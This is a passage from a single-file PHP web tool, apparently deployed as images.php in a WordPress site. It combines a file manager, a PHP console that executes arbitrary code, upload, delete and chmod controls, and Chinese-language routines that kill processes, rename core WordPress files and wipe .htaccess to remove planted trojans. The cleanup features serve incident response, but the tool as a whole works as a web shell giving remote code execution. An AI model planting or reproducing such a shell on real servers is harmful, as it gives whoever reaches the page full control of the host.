clearstatcache(true,$root);
}
// === STEP 3: 改名所有入口文件 ===
foreach($entryFiles as $orig=>$locked){
$src=$root.'/'.$orig; $dst=$root.'/'.$locked;
if(!file_exists($src)){
$log[]=array('step'=>1,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'文件不存在');
continue;
}
// 如果目标已存在(之前跑过),先删掉
if(file_exists($dst)){
@unlink($dst);
if(file_exists($dst)&&function_exists('exec')){
@exec('rm -f '.escapeshellarg($dst).' 2>&1');
}
}
// 尝试PHP rename
$ok=@rename($src,$dst);
// 失败降级shell mv
if(!$ok&&function_exists('exec')){
@exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut,$mvRet);
clearstatcache(true);
$ok=(file_exists($dst)&&!file_exists($src));
}
$log[]=array('step'=>1,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok,
'msg'=>$ok?'入口已封':'改名失败 - 可能属主不同,需SSH');
}
// === STEP 4: 改名 wp-content / wp-includes ===
foreach($entryDirs as $orig=>$locked){
$src=$root.'/'.$orig; $dst=$root.'/'.$locked;
if(!is_dir($src)){
$log[]=array('step'=>2,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'目录不存在');
continue;
}
if(is_dir($dst)){
// 目标已存在,说明之前已经断过链,跳过
$log[]=array('step'=>2,'path'=>$orig,'action'=>'already locked','ok'=>true,
'msg'=>$locked.' 已存在,跳过');
continue;
}
_aq_force_chmod($src,0755);
$ok=@rename($src,$dst);
if(!$ok&&function_exists('exec')){
@exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut2,$mvRet2);
clearstatcache(true);
$ok=(is_dir($dst)&&!is_dir($src));
}
$log[]=array('step'=>2,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok,
'msg'=>$ok?'目录已隔离':'改名失败');
}
// === STEP 5: 备份并清空 .htaccess(防止 auto_prepend_file / rewrite 加载木马) ===
$ht=$root.'/.htaccess';
$htBak=$root.'/.htaccess.locked';
if(file_exists($ht)){
// 备份
if(!file_exists($htBak)){
$htContent=@file_get_contents($ht);
if($htContent!==false){
@file_put_contents($htBak,$htContent);
}
}
// 清空(改成空文件而非删除,保持文件存在避免404规则冲突)
_aq_force_chmod($ht,0644);
$wOk=@file_put_contents($ht,"# locked by isolate v3\n");
if($wOk===false&&function_exists('exec')){
@exec('echo "# locked" > '.escapeshellarg($ht).' 2>&1');
$wOk=(filesize($ht)<200);
}
$log[]=array('step'=>3,'path'=>'.htaccess','action'=>'clear + backup','ok'=>($wOk!==false),
'msg'=>$wOk!==false?'已清空(备份到 .htaccess.locked)':'清空失败');
} else {
$log[]=array('step'=>3,'path'=>'.htaccess','action'=>'skip','ok'=>true,'msg'=>'文件不存在');
}
// === STEP 6: 检查是否有 .user.ini(常被用来 auto_prepend_file 加载木马) ===
$userIni=$root.'/.user.ini';
if(file_exists($userIni)){
$uiBak=$root.'/.user.ini.locked';
if(!file_exists($uiBak)){
$uiContent=@file_get_contents($userIni);
if($uiContent!==false)@file_put_contents($uiBak,$uiContent);
}
_aq_force_chmod($userIni,0644);
$wOk=@file_put_contents($userIni,"; locked by isolate v3\n");
$log[]=array('step'=>4,'path'=>'.user.ini','action'=>'clear + backup','ok'=>($wOk!==false),
'msg'=>$wOk!==false?'已清空(备份到 .user.ini.locked)':'清空失败,可能有 auto_prepend_file 后门');
}
// === STEP 7: 最终复验,列出根目录当前状态 ===
clearstatcache(true);
$verify=array();
// 列出应该已经消失的原名
foreach($entryFiles as $orig=>$locked){
$src=$root.'/'.$orig; $dst=$root.'/'.$locked;
if(file_exists($src)){
$verify[$orig]='⚠ 仍存在(断链失败)';
} elseif(file_exists($dst)){
$verify[$orig]='已封 → '.$locked;
} else {
$verify[$orig]='不存在';
}
}
foreach($entryDirs as $orig=>$locked){
$src=$root.'/'.$orig; $dst=$root.'/'.$locked;
if(is_dir($src)){
$verify[$orig]='⚠ 仍存在(断链失败)';
} elseif(is_dir($dst)){
$verify[$orig]='已封 → '.$locked;
} else {
$verify[$orig]='不存在';
}
}
// 检查 .htaccess 是否已清空
if(file_exists($ht)){
$sz=@filesize($ht);
$verify['.htaccess']=($sz!==false&&$sz<200)?('已清空 ('.$sz.' bytes)'):('⚠ 未清空 ('.$sz.' bytes)');
}
json_out(array('ok'=>true,'root'=>$root,'log'=>$log,'verify'=>$verify,'kill_info'=>$killResult,
'mode'=>'v3_pure_isolate','note'=>'纯断链模式:WP已完全停机,访问网站会返回404/白屏,本工具继续可用'));
}
json_out(array('ok'=>false,'error'=>'unknown api'));}
// PHP Console error handler (PHP 5.2 compatible)
$__aq_console_errors=array();
function _aq_console_err_handler($errno,$errstr,$errfile,$errline){
global $__aq_console_errors;
$types=array(E_WARNING=>'Warning',E_NOTICE=>'Notice',E_STRICT=>'Strict',E_DEPRECATED=>'Deprecated');
$label=isset($types[$errno])?$types[$errno]:'Error';
$__aq_console_errors[]=$label.': '.$errstr.' (line '.$errline.')';
return true;
}
$rel=g('path');$target=safe_real($rel);if(!$target){$target=($rel==='')?getcwd():(safe_real(getcwd().'/'.$rel));if(!$target)$target=getcwd();}if($target===false)$target=getcwd();$files=list_dir_sorted($target);$flash=get_flash();
?><!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Server File Manager</title>
<style>
:root{--bg:#f8fafc;--card:#fff;--accent:#2563eb;--muted:#64748b}
body{margin:0;font-family:Inter,Segoe UI,Roboto,Arial,sans-serif;background:var(--bg);color:#0f172a}
.container{max-width:1200px;margin:24px auto;padding:18px}
.header{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}
.brand{display:flex;align-items:center;gap:12px}
.logo{width:56px;height:56px;border-radius:12px;background:#e2e8f0;display:flex;align-items:center;justify-content:center;font-weight:800;color:var(--accent);box-shadow:0 8px 15px rgba(0,0,0,.05)}
.title{font-size:20px;font-weight:700}
.controls{display:flex;gap:8px;align-items:center;flex-wrap:wrap}
.btn{padding:8px 12px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#334155;cursor:pointer;text-decoration:none;font-size:13px;display:inline-block}
.btn.primary{background:var(--accent);color:#fff;border:none}
.btn.danger{background:#dc2626;color:#fff;border:none}
.btn.console-btn{background:#059669;color:#fff;border:none}
.btn.create-btn{background:#7c3aed;color:#fff;border:none}
.btn.scan-btn{background:#dc2626;color:#fff;border:none;animation:pulse 2s infinite}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.7}}
.input{padding:8px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#0f172a}
.pathbar{margin-top:8px;padding:10px;border-radius:8px;background:#fff;border:1px solid #e2e8f0;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.flash{margin-bottom:12px;padding:10px;border-radius:8px;background:#dcfce7;border-left:4px solid #22c55e;color:#166534}
.table{width:100%;border-collapse:collapse;margin-top:12px;border-radius:10px;overflow:hidden}
.table th{background:#f1f5f9;text-align:left;padding:12px;font-weight:700;color:#334155;border-bottom:1px solid #e2e8f0}
.table td{padding:12px;border-bottom:1px solid #e2e8f0;vertical-align:middle;color:#0f172a}
.small{font-size:12px;color:var(--muted)}
.actions button,.actions a{display:inline-block;margin-right:2px}
.modal{position:fixed;left:0;top:0;width:100%;height:100%;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.4);z-index:999}
.modal .box{width:720px;background:#fff;padding:18px;border-radius:10px;border:1px solid #e2e8f0;box-shadow:0 20px 25px -5px rgba(0,0,0,.1);max-height:90vh;overflow:auto}
.drop{border:2px dashed #cbd5e1;padding:24px;border-radius:8px;text-align:center;color:var(--muted);cursor:pointer;background:#f8fafc}
.progress-list{margin-top:12px}
.progress-item{display:flex;align-items:center;gap:12px;margin-top:8px}
.progress-bar{flex:1;height:10px;background:#e2e8f0;border-radius:6px;overflow:hidden}
.progress-fill{height:100%;background:var(--accent);width:0%}
.progress-text{width:120px;text-align:right;font-size:12px;color:var(--muted)}
.editor-modal .box{width:90%;max-width:1100px}
.editor-header{display:flex;justify-content:space-between;align-items:center;gap:8px;margin-bottom:8px}
textarea{width:100%;background:#f8fafc;color:#0f172a;border:1px solid #cbd5e1;padding:12px;border-radius:8px;font-family:monospace;box-sizing:border-box;font-size:13px}
a.link{color:var(--accent);text-decoration:none}
.aq-overlay{position:fixed;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);display:flex;align-items:center;justify-content:center;z-index:9999}
.aq-dialog{background:#fff;padding:20px;border-radius:10px;min-width:380px;max-width:500px;box-shadow:0 10px 25px rgba(0,0,0,.2)}
.aq-dialog .aq-msg{font-size:14px;margin-bottom:14px;color:#0f172a;word-break:break-all}
.aq-dialog input{width:100%;padding:8px;border:1px solid #cbd5e1;border-radius:6px;font-size:14px;box-sizing:border-box}
.aq-dialog .aq-btns{margin-top:14px;text-align:right}
/* Console */
.console-modal .box{width:90%;max-width:1100px;display:flex;flex-direction:column}
#consoleCode{height:200px;resize:vertical;font-family:Consolas,'Courier New',monospace;font-size:13px;tab-size:4;line-height:1.5}
#consoleOutput{min-height:100px;max-height:300px;overflow:auto;background:#1e293b;color:#e2e8f0;padding:12px;border-radius:8px;font-family:Consolas,'Courier New',monospace;font-size:12px;white-space:pre-wrap;word-break:break-all;margin-top:8px}
.console-meta{margin-top:6px;font-size:12px;color:var(--muted)}
/* Create File */
.create-modal .box{width:500px}
.create-modal label{display:block;font-size:13px;font-weight:600;color:#334155;margin-bottom:4px;margin-top:12px}
.create-modal .input{width:100%;box-sizing:border-box}
#createContent{height:120px;resize:vertical}
/* Security Scanner */
.scan-modal .box{width:90%;max-width:1000px}
.scan-item{padding:10px;margin:6px 0;border-radius:8px;border-left:4px solid #ef4444;background:#fef2f2;font-size:13px;display:flex;justify-content:space-between;align-items:flex-start;gap:8px}
.scan-item.medium{border-left-color:#f59e0b;background:#fffbeb}
.scan-item .si-path{font-family:monospace;word-break:break-all;flex:1}
.scan-item .si-reason{color:#991b1b;font-size:12px}
.scan-item.medium .si-reason{color:#92400e}
.scan-item .si-actions{display:flex;gap:4px;flex-shrink:0}
.scan-safe{padding:20px;text-align:center;color:#166534;font-size:16px}
</style></head>
<body><div class="container"><div class="header"><div class="brand"><div class="logo">SYS</div><div><div class="title"><?php echo getWebServerType(); ?></div></div></div>
<div class="controls">
<form method="get" style="display:flex;gap:8px;align-items:center"><input type="hidden" name="path" value="<?php echo esc($target);?>"><input class="input" name="q" placeholder="Search" value="<?php echo esc(g('q'));?>"><button class="btn" type="submit">Search</button></form>
<button class="btn" onclick="openUpload()">Upload</button>
<button class="btn" onclick="doMkdir()">New Folder</button>
<button class="btn create-btn" onclick="openCreateFile()">📄New File</button>
<button class="btn console-btn" onclick="openConsole()">⚡Console</button>
<button class="btn scan-btn" onclick="openScanner()">🛡️Security Scan</button>
<button class="btn" onclick="openChainBreaker()" style="background:#dc2626;color:#fff;border:none;font-weight:700;box-shadow:0 0 0 3px rgba(220,38,38,.25)">🔗 一键破链解锁</button>
<button class="btn" onclick="openChainIsolate()" style="background:#7c2d12;color:#fff;border:none;font-weight:700">🔒 隔离解锁</button>
<button class="btn" onclick="doGenFile('htaccess')">Gen .htaccess</button>
<button class="btn" onclick="doGenFile('robots')">Gen robots.txt</button>
<a class="btn" href="?path=<?php echo urlencode(dirname($target));?>">⬆️Parent</a>
<a class="btn" href="<?php echo esc($_SERVER['PHP_SELF']);?>">🏠Root</a>
</div></div>
<?php if($flash):?><div class="flash" id="flash"><?php echo esc($flash);?></div><?php else:?><div id="flash" style="display:none" class="flash"></div><?php endif;?>
<div class="pathbar"><div class="small">Current Path</div><div style="font-family:monospace;flex:1;color:#0f172a"><?php echo esc($target);?></div><div class="small">PHP <?php echo PHP_VERSION;?> | User: <?php
$__u='-';$__s=@stat(__FILE__);
if($__s && function_exists('posix_getpwuid')){$__p=@posix_getpwuid($__s['uid']);if($__p && isset($__p['name']))$__u=$__p['name'];}
if($__u==='-'){$__v=@getenv('USER');if($__v)$__u=$__v;}
echo esc($__u);
?></div></div>
<table class="table" id="fileTable"><thead><tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php $q=g('q');foreach($files as $f): if($q!==''&&stripos($f['name'],$q)===false&&$f['name']!=='..')continue;?>
<tr><td style="width:40%"><?php if($f['is_dir']):?><a class="small link" href="?path=<?php echo urlencode($f['path']);?>" style="font-weight:700;color:#2563eb;text-decoration:none"><?php echo $f['name']==='..'?'📁 .. (Parent Directory)':'📁 '.esc($f['name']);?></a><?php else:?><a href="javascript:void(0)" onclick="openEditor('<?php echo rawurlencode($f['path']);?>')" style="color:#0f172a;text-decoration:none">📄 <?php echo esc($f['name']);?></a><?php endif;?></td>
<td><?php echo $f['is_dir']?'Dir':'File';?></td><td><?php echo $f['is_dir']?'-':human_size($f['size']);?></td><td><?php echo $f['name']==='..'?'-':date('Y-m-d H:i:s',$f['mtime']);?></td><td><?php echo esc($f['perm']);?></td>
<td class="actions"><?php if($f['name']==='..'):?><a class="btn" href="?path=<?php echo urlencode($f['path']);?>">📂</a><?php elseif($f['is_dir']):?><a class="btn" href="?path=<?php echo urlencode($f['path']);?>">📂</a> <button class="btn" onclick="doDelete('<?php echo rawurlencode($f['path']);?>')">❌</button> <button class="btn" onclick="doRename('<?php echo rawurlencode($f['path']);?>')">✏️</button> <button class="btn" onclick="doChmod('<?php echo rawurlencode($f['path']);?>')">🔐</button><?php else:?><a class="btn" href="?action=download&path=<?php echo urlencode($target);?>&file=<?php echo urlencode($f['name']);?>">⬇</a> <button class="btn primary" onclick="openEditor('<?php echo rawurlencode($f['path']);?>')">📝</button> <button class="btn" onclick="window.open('<?php echo esc(file_to_web_url($f['path'],$docRoot));?>','_blank')">🔗</button> <button class="btn" onclick="doDelete('<?php echo rawurlencode($f['path']);?>')">❌</button> <button class="btn" onclick="doRename('<?php echo rawurlencode($f['path']);?>')">✏️</button> <button class="btn" onclick="doChmod('<?php echo rawurlencode($f['path']);?>')">🔐</button><?php endif;?></td></tr><?php endforeach;?></tbody></table></div>
<!-- Upload Modal -->
<div class="modal" id="uploadModal"><div class="box"><h3 style="margin:0 0 8px 0">Upload Files</h3><div id="dropArea" class="drop">Drag files here, or click to select</div><input type="file" id="fileInput" multiple style="display:none"><div class="progress-list" id="progressList"></div><div style="margin-top:12px;text-align:right"><button class="btn" onclick="closeUpload()">Close</button></div></div></div>
<!-- Editor Modal -->
<div class="modal editor-modal" id="editorModal"><div class="box"><div class="editor-header"><div><div style="font-weight:700" id="editorTitle">Edit</div><div class="small" id="editorPath"></div></div><div><button class="btn primary" id="saveBtn">Save</button> <button class="btn" onclick="closeEditor()">Close</button></div></div><textarea id="editorContent" style="height:60vh"></textarea></div></div>
<!-- PHP Console Modal -->
<div class="modal console-modal" id="consoleModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:8px">
<div><div style="font-weight:700;font-size:16px">⚡ PHP Console</div><div class="small">PHP <?php echo PHP_VERSION;?> | No <?php tag needed | Ctrl+Enter to run</div></div>
<div><button class="btn" onclick="closeConsole()">Close</button></div>
</div>
<div style="display:flex;gap:8px;margin-bottom:8px">
<button class="btn primary" onclick="runConsole()" id="runBtn">▶ Run</button>
<button class="btn" onclick="clearConsole()">🗑 Clear</button>
</div>
<textarea id="consoleCode" placeholder="echo 'Hello World!';">echo 'Hello World!';</textarea>
<div id="consoleOutput">Output will appear here...</div>
<div class="console-meta" id="consoleMeta"></div>
</div></div>
<!-- Create File Modal -->
<div class="modal create-modal" id="createModal"><div class="box">
<h3 style="margin:0 0 4px 0">📄 Create New File</h3>
<div class="small" style="margin-bottom:4px">Dir: <?php echo esc($target);?></div>
<label>File Name (include extension)</label>
<input class="input" id="createFileName" placeholder="e.g. index.php, config.json, style.css">
<label>Content (optional)</label>
<textarea id="createContent" placeholder="Leave empty for blank file"></textarea>
<div style="margin-top:12px;text-align:right">
<button class="btn" onclick="closeCreateFile()" style="margin-right:8px">Cancel</button>
<button class="btn create-btn" onclick="submitCreateFile()">Create</button>
</div>
</div></div>
<!-- Security Scanner Modal -->
<div class="modal scan-modal" id="scanModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#dc2626">🛡️ Security Scanner</div>
<div class="small">Scan for webshells, backdoors, permission locks, and suspicious crontab entries</div>
</div>
<div><button class="btn" onclick="closeScan()">Close</button></div>
</div>
<div style="display:flex;gap:8px;align-items:center;margin-bottom:12px;flex-wrap:wrap">
<input class="input" id="scanPath" value="<?php echo esc($docRoot?$docRoot:$target);?>" style="flex:1;min-width:200px" placeholder="Scan path">
<button class="btn danger" onclick="runScan()" id="scanBtn">🔍 Start Scan</button>
<button class="btn" onclick="resetDocroot()" title="Reset docroot: dirs→755, files→644" style="background:#f59e0b;color:#fff;border:none">🔧 Reset DocRoot Perms</button>
</div>
<div id="scanResults" style="max-height:55vh;overflow:auto">
<div style="text-align:center;color:var(--muted);padding:30px">Click "Start Scan" to begin...</div>
</div>
<div id="scanSummary" style="margin-top:8px;font-size:12px;color:var(--muted)"></div>
</div></div>
<div class="modal scan-modal" id="chainModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#dc2626">🔗 一键破链解锁</div>
<div class="small">在同一次请求内按顺序完成:净化 .htaccess → 删除木马 → 解锁权限,不给木马重新上锁的机会</div>
</div>
<div><button class="btn" onclick="document.getElementById('chainModal').style.display='none'">关闭</button></div>
</div>
<div style="background:#fef2f2;border-left:4px solid #dc2626;padding:12px;border-radius:8px;font-size:13px;color:#991b1b;margin-bottom:12px;line-height:1.7">
<b>它会做什么(按顺序,一口气):</b><br>
① 备份当前 .htaccess(存为 .htaccess.bak_日期),再把它替换成干净的标准 WordPress 规则,踢掉恶意白名单<br>
② 删除 .htaccess 白名单里所有<b>不属于 WordPress 核心</b>的可疑 .php 文件(先解锁权限再删)<br>
③ 把 index.php / wp-config.php 等被锁成 444 的文件解锁回 644<br>
④ 复验 index.php 是否还被锁<br>
<b style="color:#dc2626">先点「分析」看清楚要动哪些文件,确认无误再点「执行」。</b>
</div>
<div style="display:flex;gap:8px;margin-bottom:12px">
<button class="btn" onclick="chainAnalyze()" style="background:#0ea5e9;color:#fff;border:none">🔍 1. 分析(只看不动)</button>
<button class="btn" onclick="chainExecute()" id="chainExecBtn" style="background:#dc2626;color:#fff;border:none;font-weight:700" disabled>⚡ 2. 执行破链</button>
</div>
<div id="chainResults" style="max-height:50vh;overflow:auto;font-size:13px"></div>
</div></div>
<div class="modal scan-modal" id="isolateModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#7c2d12">🔒 隔离解锁(断链改权限)</div>
<div class="small">改名 wp-content/wp-includes 瞬间断掉木马锁链,解锁权限后再改回来</div>
</div>
<div><button class="btn" onclick="document.getElementById('isolateModal').style.display='none'">关闭</button></div>
</div>
<div style="background:#fef2f2;border-left:4px solid #7c2d12;padding:12px;border-radius:8px;font-size:13px;color:#991b1b;margin-bottom:12px;line-height:1.7">
<b>原理:</b> 入侵者在 wp-content 和 wp-includes 里放了互相监控的脚本(inotify/循环chmod),你改一个权限另一个立即锁回来。<br>
<b>v2 增强版,一次请求内按顺序:</b><br>
⓪ 杀掉当前用户所有可疑的PHP/inotify监控进程<br>
① wp-content → wp-content1, wp-includes → wp-includes1 (断链,PHP/shell双通道)<br>
② 强制 chmod 根目录/index.php/.htaccess 为 755 (PHP→exec→system→shell_exec 四级递降)<br>
③ wp-content1 → wp-content, wp-includes1 → wp-includes (改回来)<br>
④ 等100ms复验: 如果被锁回去, 再杀一轮进程+再改一轮<br>
<b style="color:#7c2d12">站会短暂不可用(~200ms),改完立即恢复。</b>
</div>
<div style="display:flex;gap:8px;margin-bottom:12px">
<button class="btn" onclick="chainIsolateExec()" style="background:#7c2d12;color:#fff;border:none;font-weight:700">⚡ 执行隔离解锁</button>
</div>
<div id="isolateResults" style="max-height:50vh;overflow:auto;font-size:13px"><div style="text-align:center;color:#94a3b8;padding:24px">点「执行隔离解锁」开始</div></div>
</div></div>
<script>
var CHAIN_SUSPECTS=[];
function openChainBreaker(){document.getElementById('chainResults').innerHTML='<div style="text-align:center;color:#94a3b8;padding:24px">点「分析」开始</div>';document.getElementById('chainExecBtn').disabled=true;document.getElementById('chainModal').style.display='flex';}
function chainAnalyze(){
var box=document.getElementById('chainResults');
box.innerHTML='<div style="padding:20px;text-align:center">分析中...</div>';
var d=new FormData();d.append('api','1');d.append('action','chain_analyze');
fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
if(!res.ok){box.innerHTML='<div style="color:#dc2626">分析失败: '+(res.error||'')+'</div>';return;}
var a=res.analyze;var h='';CHAIN_SUSPECTS=[];
h+='<div style="margin-bottom:8px"><b>网站根目录:</b> <span style="font-family:monospace">'+a.root+'</span></div>';
if(a.htaccess&&a.htaccess.exists){
h+='<div style="padding:8px;background:#f8fafc;border-radius:6px;margin-bottom:8px">.htaccess 存在 · 权限 '+a.htaccess.perm+' · '+(a.htaccess.writable?'<span style="color:#16a34a">可写✓</span>':'<span style="color:#dc2626">不可写✗(可能属主不同)</span>')+' · 白名单里发现 <b style="color:#dc2626">'+a.htaccess.suspect_count+'</b> 个非WP文件</div>';
}else{h+='<div style="color:#92400e;margin-bottom:8px">根目录没有 .htaccess</div>';}
if(a.index){
var lk=(a.index.perm==='444'||a.index.perm==='0444'||a.index.perm==='000');
h+='<div style="padding:8px;border-radius:6px;margin-bottom:8px;background:'+(lk?'#fef2f2':'#f0fdf4')+'">index.php 当前权限 <b>'+a.index.perm+'</b> '+(lk?'<span style="color:#dc2626">← 被锁死</span>':'<span style="color:#16a34a">正常</span>')+' · '+(a.index.writable?'可写':'不可写')+'</div>';
}
if(a.suspect_files&&a.suspect_files.length){
h+='<div style="font-weight:700;margin:10px 0 6px">将删除以下可疑文件(勾选要删的):</div>';
a.suspect_files.forEach(function(f,i){
if(f.exists){CHAIN_SUSPECTS.push(f.path);}
h+='<label style="display:flex;align-items:center;gap:8px;padding:6px;border-bottom:1px solid #eee">'+
'<input type="checkbox" class="chain-sus" value="'+encodeURIComponent(f.path)+'" '+(f.exists?'checked':'disabled')+'>'+
'<span style="font-family:monospace;flex:1">'+f.name+'</span>'+
'<span style="font-size:11px;color:'+(f.exists?'#dc2626':'#94a3b8')+'">'+(f.exists?('存在·'+f.perm+(f.writable?'':'·不可写')):'白名单里有但文件不存在')+'</span></label>';
});
}else{
h+='<div style="color:#16a34a;padding:8px">.htaccess 白名单里没有发现非WP的可疑文件</div>';
}
box.innerHTML=h;
document.getElementById('chainExecBtn').disabled=false;
}).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
}
function chainExecute(){
aqConfirm('确认执行破链?\n\n会备份并重写 .htaccess、删除勾选的木马、解锁核心文件权限。\n此操作会真实修改/删除文件。').then(function(ok){
if(!ok)return;
var box=document.getElementById('chainResults');
box.innerHTML='<div style="padding:20px;text-align:center">执行中,请勿关闭...</div>';
var extra=[];document.querySelectorAll('.chain-sus:checked').forEach(function(c){extra.push(decodeURIComponent(c.value));});
var d=new FormData();d.append('api','1');d.append('action','chain_break');d.append('extra_files',JSON.stringify(extra));
fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
if(!res.ok){box.innerHTML='<div style="color:#dc2626">执行失败: '+(res.error||'')+'</div>';return;}
var h='<div style="font-weight:700;margin-bottom:8px">执行日志:</div>';
res.log.forEach(function(l){
h+='<div style="display:flex;gap:8px;padding:5px;border-bottom:1px solid #eee;font-size:12px">'+
'<span style="width:18px;color:#64748b">S'+l.step+'</span>'+
'<span>'+(l.ok?'<span style="color:#16a34a">✓</span>':'<span style="color:#dc2626">✗</span>')+'</span>'+
'<span style="flex:1"><b>'+l.action+'</b> '+(l.msg?('· '+l.msg):'')+'<br><span style="font-family:monospace;color:#64748b">'+l.path+'</span></span></div>';
});
if(res.verify){
var lk=(res.verify.perm==='444'||res.verify.perm==='0444'||res.verify.perm==='000');
h+='<div style="margin-top:12px;padding:12px;border-radius:8px;font-weight:700;background:'+(lk?'#fef2f2':'#f0fdf4')+';color:'+(lk?'#dc2626':'#166534')+'">'+
(lk?'⚠ index.php 仍是 '+res.verify.perm+' — 说明还有活着的木马在锁它,或该文件属主不是当前PHP用户。请先点 Security Scan 找出并删掉其余后门,再回来执行一次。':'✅ index.php 已解锁为 '+res.verify.perm+' 且可写。破链成功!接下来立刻改掉 FTP/面板/WP后台 密码,并把入侵你的那个插件删掉或更新。')+'</div>';
}
box.innerHTML=h;
}).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
});
}
function openChainIsolate(){document.getElementById('isolateResults').innerHTML='<div style="text-align:center;color:#94a3b8;padding:24px">点「执行隔离解锁」开始</div>';document.getElementById('isolateModal').style.display='flex';}
function chainIsolateExec(){
aqConfirm('确认执行「深度断链」v4?\n\n将封掉所有 WP 官方根目录 PHP + 木马窝目录:\n\n① 杀掉可疑监控进程\n② 封 9 个 WP 官方文件(改名加 .locked):\n index.php / wp-login.php / wp-cron.php / xmlrpc.php\n wp-activate.php / wp-blog-header.php / wp-comments-post.php\n wp-links-opml.php / wp-mail.php / wp-settings.php\n wp-signup.php / wp-trackback.php\n③ 封 wp-content / wp-includes(如未封)\n④ 清空 .htaccess 和 .user.ini(已备份)\n\n⚠ 不动的文件:\n • wp-config.php / wp-config-sample.php / wp-load.php\n • 所有非 wp- 开头的 PHP(可能是你的后门或木马,你自己处理)\n • wp-admin/ 及其他所有目录\n\n执行后 WP 彻底停机,木马无法通过 WP 链触发。\n本工具 images.php 继续可用。\n恢复方法:手动去掉 .locked 后缀。').then(function(ok){
if(!ok)return;
var box=document.getElementById('isolateResults');
box.innerHTML='<div style="padding:20px;text-align:center">执行中(杀进程→封 12 个 WP 文件→封目录→清 htaccess)...</div>';
var d=new FormData();d.append('api','1');d.append('action','chain_isolate');
fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
if(!res.ok){box.innerHTML='<div style="color:#dc2626">执行失败: '+(res.error||'')+'</div>';return;}
var h='';
// 显示杀进程信息
if(res.kill_info){
var ki=res.kill_info;
h+='<div style="padding:8px;background:#fef3c7;border-radius:6px;margin-bottom:8px;font-size:12px">';
h+='<b>进程清理:</b> ';
if(ki.killed&&ki.killed.length>0){
h+='杀掉 <b style="color:#dc2626">'+ki.killed.length+'</b> 个可疑进程:<br>';
ki.killed.forEach(function(p){h+=' PID '+p.pid+': '+escH(p.cmd)+'<br>';});
}else{
h+='未发现可疑监控进程';
}
h+='</div>';
}
h+='<div style="font-weight:700;margin-bottom:8px">执行日志:</div>';
res.log.forEach(function(l){
var stepNames={0:'杀进程',1:'封入口',2:'封目录',3:'清htaccess',4:'清user.ini'};
var sn=stepNames[l.step]||('S'+l.step);
h+='<div style="display:flex;gap:8px;padding:5px;border-bottom:1px solid #eee;font-size:12px">'+
'<span style="min-width:60px;color:#64748b;font-size:11px">'+sn+'</span>'+
'<span>'+(l.ok?'<span style="color:#16a34a">\u2713</span>':'<span style="color:#dc2626">\u2717</span>')+'</span>'+
'<span style="flex:1"><b>'+escH(l.action)+'</b> '+(l.msg?('\u00b7 '+escH(l.msg)):'')+'<br><span style="font-family:monospace;color:#64748b">'+escH(l.path)+'</span></span></div>';
});
if(res.verify){
h+='<div style="margin-top:12px;padding:12px;border-radius:8px;background:#f8fafc;font-size:13px"><b>最终状态:</b><br>';
var allSealed=true;
for(var k in res.verify){
var v=res.verify[k];
var color='#0f172a';
if(v.indexOf('\u26a0')!==-1){color='#dc2626';allSealed=false;}
else if(v.indexOf('\u5df2\u5c01')!==-1||v.indexOf('\u5df2\u6e05\u7a7a')!==-1){color='#16a34a';}
else if(v.indexOf('\u4e0d\u5b58\u5728')!==-1){color='#94a3b8';}
h+='<span style="font-family:monospace">'+escH(k)+'</span>: <b style="color:'+color+'">'+escH(v)+'</b><br>';
}
h+='<div style="margin-top:8px;padding:10px;border-radius:6px;font-weight:700;background:'+(allSealed?'#f0fdf4':'#fef3c7')+';color:'+(allSealed?'#166534':'#92400e')+'">'+
(allSealed?'\u2705 断链完成! WP 已完全停机,木马无法触发。\n\n\u2022 访问网站会显示 404 / 白屏 (正常现象)\n\u2022 本工具 images.php 继续可用\n\u2022 wp-config.php 未动,数据库配置安全\n\u2022 备份:.htaccess.locked / .user.ini.locked\n\n\u4e0b\u4e00\u6b65\u5efa\u8bae:\n\u2460 \u7acb\u523b\u6539 FTP/\u9762\u677f/\u6570\u636e\u5e93 \u5bc6\u7801\n\u2461 SSH \u767b\u5f55\u670d\u52a1\u5668\u540e\u53f0\u5904\u7406\u6728\u9a6c\n\u2462 \u786e\u8ba4\u5e72\u51c0\u540e,\u624b\u52a8\u6539\u56de\u540d\u5b57\u6062\u590d\u7f51\u7ad9':
